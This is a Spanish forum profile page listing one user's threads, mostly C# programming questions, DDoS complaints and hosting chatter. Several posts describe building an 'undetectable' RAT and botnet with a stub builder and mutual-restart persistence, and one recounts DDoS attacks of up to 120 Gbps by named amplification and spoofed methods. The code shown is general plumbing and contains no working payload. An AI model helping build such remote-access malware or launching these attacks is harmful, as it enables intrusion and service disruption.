Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - nevachana

#1
Foro Libre / Formas de publicitar hosting?
11 Diciembre 2016, 14:44 PM
Hemos abierto hace aproximadamente 2 meses, los clientes estan bastante contentos pero no consigo encontrar clientes.
Me parece que hacer SEO seria muy costoso y tampoco se a que palabras deberia de "apuntar".
Tenemos unos de los mejores anti-ddos que se pueden encontrar y buen hardware, lo unico que falta son clientes para expandirlo, alguna sugerencia?
#2
El ataque supero las 500.000 peticiones por segundo.
Consiguio tirar 1 server de cloudflare(me desactivaron cloudflare),y mi dedicado de ovh,que tiene estas caracteristicas:

16cores.
32Gb ram
10Gbps conexion.
1.500.000KB en logs.

da;o causado:

Saturacion de memoria debido a los logs.
Inodos 100% de uso.
mysql roto.
Perdida de dinero.

Si alguien quiere echarle un ojo a los logs que me avise,creo que abrire algun post preguntando como podria mitigar aunque sea un poco estos ataques.
preview:







#3
Scripting / Como podria hacer esto?
4 Enero 2016, 13:40 PM
Hola, tengo un script que necesita varios parametros,segun los ejecutas te los va preguntando.
El problema es que lo quiero ejecutar usando una API, como se podria hacer?
#4
Ingeniería Inversa / 4 pointers?
25 Diciembre 2015, 09:39 AM
He empezado a trastear con cheat engine,pero la municion tenia 4 valores que eran iguales.

que puede ser?
#5
Encontré este "proyecto" que tenía empezado, es un server hecho en c#.
Creo que puede servirle de ayuda a cualquiera que esté interesado en empezar. ( el código es de hace tiempo, puede tener errores y ser sucio ).

Main:

Código (csharp) [Seleccionar]
static void Main(string[] args)
        {
            Program p = new Program();
            p.Start();
        }
        public void Start()
        {
            Console.Title = "Server";
            Server s = new Server();
            s.Write(@" _________                                 ");
            s.Write(@"/   _____/ ______________  __ ___________  ");
            s.Write(@"\_____  \_/ __ \_  __ \  \/ // __ \_  __ \ ");
            s.Write(@"/        \  ___/|  | \/\   /\  ___/|  | \/ ");
            s.Write(@"/_______  /\___  >__|    \_/  \___  >__|   ");
            s.Write(@"        \/     \/                 \/       ");
            s.Write(@"               By Nevachana                ");
            s.Write("Starting server [...]");

            int startTime = int.Parse(DateTime.Now.Second.ToString());

            tcpConexion conexion = new tcpConexion();
            conexion.startServer();

            int finalTime = int.Parse(DateTime.Now.Second.ToString()) - startTime;
            s.Write(string.Format("Server started succesfully in: {0} seconds!",finalTime));
        }


TcpConnection:

Código (csharp) [Seleccionar]
class tcpConexion
    {
        private TcpClient client;
        private TcpListener listener;
        private Server s = new Server();
        private List<Tuple<TcpClient, int>> clientList = new List<Tuple<TcpClient, int>>();
        public void startServer()
        {
            new Thread(() => this.Listener()).Start();
        }
        private void Listener()
        {
            this.listener = new TcpListener(IPAddress.Any, 3030);
            this.listener.Start();
            while (true)
            {
                this.client = this.listener.AcceptTcpClient();
                handleClient.newClient(this.client);
            }
        }
        public void startReading(TcpClient client, int clientID)
        {
            this.clientList.Add(new Tuple<TcpClient, int>(client, clientID));
            this.s.Write(string.Format("{0} Client has connected!", clientID));
            s.updateConsoleUsers(this.clientList.Count);
            NetworkStream stream = client.GetStream();
            Byte[] buffer = new Byte[client.Available];
            while (client.Connected)
            {
                try
                {//  ‖
                    stream.Read(buffer, 0, buffer.Length);
                    this.s.Write(string.Format("client: {0} has sent: {1}", clientID, Encoding.Default.GetString(buffer).IndexOf("@")));
                    handleData(Encoding.Default.GetString(buffer).IndexOf("@").ToString());
                    stream.Flush();
                }
                catch
                {
                    this.clientList.Remove(new Tuple<TcpClient, int>(client, clientID));
                    s.updateConsoleUsers(this.clientList.Count);
                    stream.Flush();
                    stream.Close();
                    client.Close();
                    this.s.Write(string.Format("{0} has disconnected", clientID));
                }
            }
        }
        public void handleData(string packet)
        {
            int packetID = int.Parse(Regex.Split(packet, "‖")[0]);

            switch (packetID)
            {
                case 0:
                    Console.WriteLine("packet recibido ^^");
                    break;
            }
        }
    }


Server:

Código (csharp) [Seleccionar]
class Server
    {
        public void Write(string txt)
        {
            Console.WriteLine(DateTime.Now.ToString() + " - " + txt);
        }
        public string updateConsoleUsers(int number)
        {
            return Console.Title = "Server - total users Online: " + number.ToString() + " || Last update: " + DateTime.Now.ToString();
        }
    }


HandleClient: ( debería llamarse newClient .. no?  :rolleyes: ).

Código (csharp) [Seleccionar]
    class handleClient
    {
        private static int getID;
        private static Random rand = new Random();
        private static tcpConexion conexion = new tcpConexion();
        public static void newClient(TcpClient client)
        {
            getID = rand.Next(10000000, 99999999);
            new Thread(() => conexion.startReading(client, getID)).Start();
        }
    }


Cuando tenga más tiempo intentaré comentarlo todo ^^.
#6
Llevo un tiempo programando lo que sería una botnet,y ya empiezo a tener una versión estable.
Mi bot es indetectable y ya tiene casi todo hecho,y le añadí una idea para que no pueda ser cerrado,al abrir el programa se ejecuta otro.
Bien,si cerramos uno de los dos programas,el otro abre al otro y así.
Os parece algo viable?
#7
Hola,estoy intentando añadir una imagen en una columna de un datagridview.
Tengo esto:

Código (csharp) [Seleccionar]
DataGridViewImageColumn img;
                img = new DataGridViewImageColumn();
                Image image = Image.FromFile(Directory.GetCurrentDirectory().ToString() + @"\flag\" + country + ".png");
                img.Image = image;
                Task.Factory.StartNew(() => { this.zombieGrid.Rows.Add(new object[] { img, ip, country, status, os }); });

Me sale este error:
https://gyazo.com/aef7c4bb2ea76fc7bef8abf2c25b230d
Me echáis una mano?  :rolleyes:
#8
Hola   :) , tengo un problema,cuando añado varios rows a mi datagridview en poco tiempo,el form crashea.

1. Para acceder desde otras clases al form tengo una variable,a la cual le doy un valor cual el form carga.
Código (csharp) [Seleccionar]
   private void Form1_Load(object sender, EventArgs e)
        {
            Tools.doubleForm = this;
}

2. Después,cada vez un cliente se conecta a mi servidor lo añado al grid.

Código (csharp) [Seleccionar]
Tools.updateUsersForm("Client", ip, Tools.GetCountry(ip), "ok", "windows");


  public static void updateUsersForm(string name, string ip, string country, string status, string os)
        {
            doubleForm.editGrid(name, ip, country, status, os);       
        }



  public void editGrid(string name, string ip, string country, string status, string os)
        {
             this.zombieGrid.Rows.Add(new string[]{name,ip,country,status,os});
           
        }


Será que doy muchas "vueltas"?
Gracias.
#9
Hola  :D,estoy intentando cifrar la conexion entre mi client y servidor,pero al enviar o recibir paquetes me da este error:
El relleno entre caracteres no es válido y no se puede quitar.

Código (csharp) [Seleccionar]
doAction(AES_Decrypt(buffer, Encoding.Default.GetBytes(this.keyG)).ToString());


public byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
        {
            byte[] decryptedBytes = null;
            byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
            using (MemoryStream ms = new MemoryStream())
            {
                using (RijndaelManaged AES = new RijndaelManaged())
                {
                    AES.KeySize = 256;
                    AES.BlockSize = 128;
                    var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
                    AES.Key = key.GetBytes(AES.KeySize / 8);
                    AES.IV = key.GetBytes(AES.BlockSize / 8);
                    AES.Mode = CipherMode.CBC;
                    using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
                        cs.Close(); // Aquí me salta la exepcion
                    }
                    decryptedBytes = ms.ToArray();
                }
            }
            return decryptedBytes;
        }


La clave que estoy usando es: YmyWRtxxc5¿Jun/y%2WH%jyM1f , puede que sea por que tiene caracteres raros?
#10
Foro Libre / Vaya ddos más raro no?
20 Agosto 2015, 20:53 PM
Normalmente suelen enviar los paquetes seguidos,sin embargo en este parece que espera ciertos ms entre cada paquete no?
https://gyazo.com/a07be9d1c7992ba6ed1a0b26d0525b34
RIP cloudflare https://gyazo.com/e4cf89d333814b35046cdd87dd6d557b
#11
Hola  :D.
Estoy creando un Rat,y ya he hecho el client ( Fud  ;-) , aunque sin muchas funciones ).
Y ahora estoy haciendo el server,pero necesitaría ideas de como hacerlo estable.
Había pensado lo siguiente.

Al iniciarse el programa se inicia un thread a la espera de clients.
Si un client se conecta,lo almacenamos en un diccionario y creamos un thread para escuchar los packets que envía.
Si el client se desconecta,lo borramos del diccionario y rompemos el thread que lo escuchaba.

Pero no me convence crear un thread que escuche conexiones para luego crear un thread por cliente..
Alguna idea?  :)

PD: había pensado cifrar los packets con AES,qué tal?
#13
Hola,tengo un .txt que lo convierto en un string el cual quiero compilar

Código (csharp) [Seleccionar]
SaveFileDialog FSave = new SaveFileDialog()
            {
                Filter = "Executable Files|*.exe",
                InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            };
            if (FSave.ShowDialog() == DialogResult.OK)
            {
                string source = Properties.Resources.client;
                source = source.Replace("<replace_ip>", ipTxt.Text);
                source = source.Replace("2341", portTxt.Text);
                source = source.Replace("<replace_key", keyTxt.Text);
                source = source.Replace("<replace_name>", nameTxt.Text);
                string ResFile = Path.Combine(Application.StartupPath, "Encrypted.resources");
                bool success = Compiler.CompileFromSource(source, FSave.FileName);
            }


Compiler class ( la encontré en un crypter ).

Código (csharp) [Seleccionar]
public static bool CompileFromSource(string source, string Output, string Icon = null, string[] Resources = null)
        {
            // We declare the new compiler parameters variable
            // that will contain all settings for the compilation.
            CompilerParameters CParams = new CompilerParameters();

            // We want an executable file on disk.
            CParams.GenerateExecutable = true;
            // This is where the compiled file will be saved into.
            CParams.OutputAssembly = Output;

            // We need these compiler options, we will use code optimization,
            // compile as a x86 process and our target is a windows form.
            // The unsafe keyword is used because the stub contains pointers and
            // unsafe blocks of code.
            string options = "/optimize+ /platform:x86 /target:winexe /unsafe";
            // If the icon is not null (as we initialize it), add the corresponding option.
            if (Icon != null)
                options += " /win32icon:\"" + Icon + "\"";

            // Set the options.
            CParams.CompilerOptions = options;
            // We don't care about warnings, we don't need them to show as errors.
            CParams.TreatWarningsAsErrors = false;

            // Add the references to the libraries we use so we can have access
            // to their namespaces.
            CParams.ReferencedAssemblies.Add("System.dll");
            CParams.ReferencedAssemblies.Add("System.Windows.Forms.dll");
            CParams.ReferencedAssemblies.Add("System.Drawing.dll");
            CParams.ReferencedAssemblies.Add("System.Data.dll");
            CParams.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll");

            // Check if the user specified any resource files.
            // If yes, add then to the stub's resources.
            if (Resources != null && Resources.Length > 0)
            {
                // Loop through all resource files specified in the Resources[] array.
                foreach (string res in Resources)
                {
                    // Add each resource file to the compiled stub.
                    CParams.EmbeddedResources.Add(res);
                }
            }

            // Dictionary variable is used to tell the compiler that we want
            // our file to be compiled for .NET v2
            Dictionary<string, string> ProviderOptions = new Dictionary<string, string>();
            ProviderOptions.Add("CompilerVersion", "v2.0");

            // Now, we compile the code and get the result back in the "Results" variable
            CompilerResults Results = new CSharpCodeProvider(ProviderOptions).CompileAssemblyFromSource(CParams, source);
           
            // Check if any errors occured while compiling.
            if (Results.Errors.Count > 0)
            {
                // Errors occured, notify the user.
                MessageBox.Show(string.Format("The compiler has encountered {0} errors",
                    Results.Errors.Count), "Errors while compiling", MessageBoxButtons.OK,
                    MessageBoxIcon.Error);

                // Now loop through all errors and show them to the user.
                foreach (CompilerError Err in Results.Errors)
                {
                    MessageBox.Show(string.Format("{0}\nLine: {1} - Column: {2}\nFile: {3}", Err.ErrorText,
                        Err.Line, Err.Column, Err.FileName), "Error",
                        MessageBoxButtons.OK, MessageBoxIcon.Error);
                }
                return false;

            }
            else
            {
                // No error was found, return true.
                return true;
            }
           
        }


El problema es que me da errores en el código al compilarlo,no obstante si lo compilo de forma normal no me da ningún error.
#14
Hola  :D.

Hasta hace poco,tenía ciertos servidores que podía usar para ddosear ( básicamente probaba la seguridad de mis servidores y cómo funcionan ciertos ataques ) , con los cuales llegué a alcanzar 120 Gbps.
Bien,compré un VPS de ovh con anti-ddos pro,y me decepcionó mucho su seguridad.
-Los métodos AMP-UDP ( SSDP,NTP.. ) no están filtrados por defecto en algunos casos - cada ataque que hiciese me tiraba el vps.
-Respecto a los ataques TCP-Spoofed ( ssyn,essyn.. ) no solamente tiraba mi vps,si no el dedicado de un amigo también - La verdad no creo que mitigar un ataque a x puerto con el mismo número de bytes sea muy dificil,se podría bloquear el sourceport que viene por defecto en el ataque,pero no hizo NADA.
-ICMP Spoofed -> no está mal.. el vps calló unos pocos segundos para que se desactivase estas peticiones automáticamente ( wow  ::) ).
-Ataques HTTP -> Esta parte sí que me pareció patética,no mitigan NADA,exepto algún método como RUDY y ARME,mi vps y el dedicado de mi amigo se colapsaron tras recibir el ataque ( probé HTTP-GET ) y no se levantaron hasta que no se paró el ataque.

El dc en el que me colocaron no tenía anti ddos o es realmente inútil la protección?
#15
Criptografía / ¿Sha1 seguro?
31 Marzo 2015, 13:43 PM
El otro día me sacaron toda mi base de datos,incluyendo usuarios y contraseña,pero estas estaban encriptadas con SHA1,es segura esta cifrado o debería pedir a los usuarios un cambio de contraseña?
#16
El cámara de televisión Santi Trancho, que trabajó en Frank de la Jungla y Callejeros, entre otros programas, falleció este sábado, a los 32 años, en la localidad madrileña de Galapagar, al colisionar la motocicleta que conducía contra un camión y quedar su cuerpo atrapado bajo el vehículo.

El canal de televisión Cuatro informa a través de su página web que Santi Trancho ha muerto en el acto en un accidente de tráfico ocurrido, según fuentes de Emergencias Comunidad de Madrid 112, en el kilómetro 15 de la carretera M-505, en el término municipal de Galapagar. El accidente se produjo en torno a las 13.20 horas del sábado en el citado punto, por causas aún no determinadas que investiga la Guardia Civil.

Al parecer, los dos vehículos circulaban en el mismo sentido cuando se produjo el siniestro, que ha provocado que el cuerpo de Santi Trancho quedara atrapado debajo de vehículo pesado. Los Bomberos de la Comunidad de Madrid tuvieron que rescatar el cadáver, mientras los sanitarios del Summa sólo pudieron certificar el fallecimiento del cámara de televisión, que presentaba un traumatismo craneoencefálico severo. Además de los Bomberos y el Summa, se desplazaron al lugar efectivos de la Guardia Civil y de la Cruz Roja.

Santi Trancho fue cámara en el programa Frank de la Jungla entre los años 2010 y 2013, donde colaboró con el protagonista del espacio, Frank Cuesta, que a través de su cuenta en Twitter se ha mostrado "roto" por la muerte de su compañero y ha afirmado que hoy le han "arrancado un trozo de vida".
Fuente: el pais
#17
Cloudflare no lo para y mi web ahora está hecha caquita xD.
No quiero postear los logs por si os explotan los pcs.
Una pequeña preview xD:
http://gyazo.com/f5efa7ae140f31bc5d26359b23741df3
http://gyazo.com/2662b6d2f346d66361071c0e4181b658
http://gyazo.com/b65e23dbac82d2c01613766e5b75245a
http://gyazo.com/de4d7f4505fce4f92244048b4513d034
#18
Un proxy grabber para hidemyass en c# por ejemplo?
Había pensado en obtener el elementbyid usando un webbrowser y luego filtrarlo,pero resulta que este varía siempre.
Y luego,si uso httpwebrequest me dice que uso caracteres no válidos ._.
alguna idea?
Pd: había encontrado esto en google:
 
Código (csharp) [Seleccionar]
 static void Main(string[] args)
       {
           Program h = new Program();
           h.parse(h.Download());
           Console.ReadKey();
       }
       public HtmlDocument Download()
       {
           string result = string.Empty;
           HttpWebRequest req = (HttpWebRequest)WebRequest.Create("http://hidemyass.com/proxy-list/");
           req.Method = "GET";
           HttpWebResponse resp = (HttpWebResponse)req.GetResponse();
           Stream stream = resp.GetResponseStream();
           using (var reader = new StreamReader(stream, Encoding.UTF8))
           {
               result = reader.ReadToEnd();
               HtmlDocument doc = new HtmlAgilityPack.HtmlDocument();
               doc.Load(new StringReader(result));
               return doc;
           }
       }
       public void parse(HtmlDocument doc)
       {
           string source = doc.DocumentNode.InnerHtml;
           foreach (Match m in Regex.Matches(source, @"<td><span>([\s\S]*?)(\d+)</td>"))
           {
               string port = m.Groups[2].Value;
               string ip = m.Groups[1].Value;
               HtmlDocument htm = new HtmlDocument();
               htm.Load(ip);
               HtmlNode style = htm.DocumentNode.SelectSingleNode("style");
               List<string> all = style.InnerText.Split('.').ToList();
               string ip2 = ip;
               foreach (string line in all)
               {
                   if (line.Length != 1 && line.Contains("display:none"))
                   {
                       string parse = line.Substring(0, line.IndexOf("{"));
                       string parse2 = string.Format(@"<psn class=""{0}"">(.*?)</span", parse);
                       ip2 = Regex.Replace(ip2, parse2, "").Trim();
                   }
                   ip2 = ip2.Replace("." + line, "");
               }
               ip2 = Regex.Replace(ip2, @"(<div|span) style=""display:none"">\d+.*?>\<.*?>)", "").Trim();
               Console.WriteLine(string.Format("Ip: {0} Port: {1} ", ip2, port));

           }
       }
 
   }
}

Pero no va , alguna idea de cómo hacerlo?
#19
Foro Libre / Hay algo parecido a esto?
7 Febrero 2015, 19:14 PM


una web que me diga cuanto tráfico estoy enviando,pero que sea gratis ^^
#20
Hola ^^ me gustaría hacer un programa que detecte una imagen en la pantalla y obtener las coordenadas x e y pero no sé como compararlas y obtener las coordenadas.
Una ayudita? xD
#21
Buenas,esoty creando una aplicación para un foro y me gustaría que cuando te llegue un mensaje privado etc el notifyIcon te informe de ello..
#22
Bueno,antes que nada,HOLA!,soy nuevo,y me gustaría saber crear un packtetlogger para un juego en concreto.. Alguien me ayuda?
si necesito la crypto o algo así,lo tengo.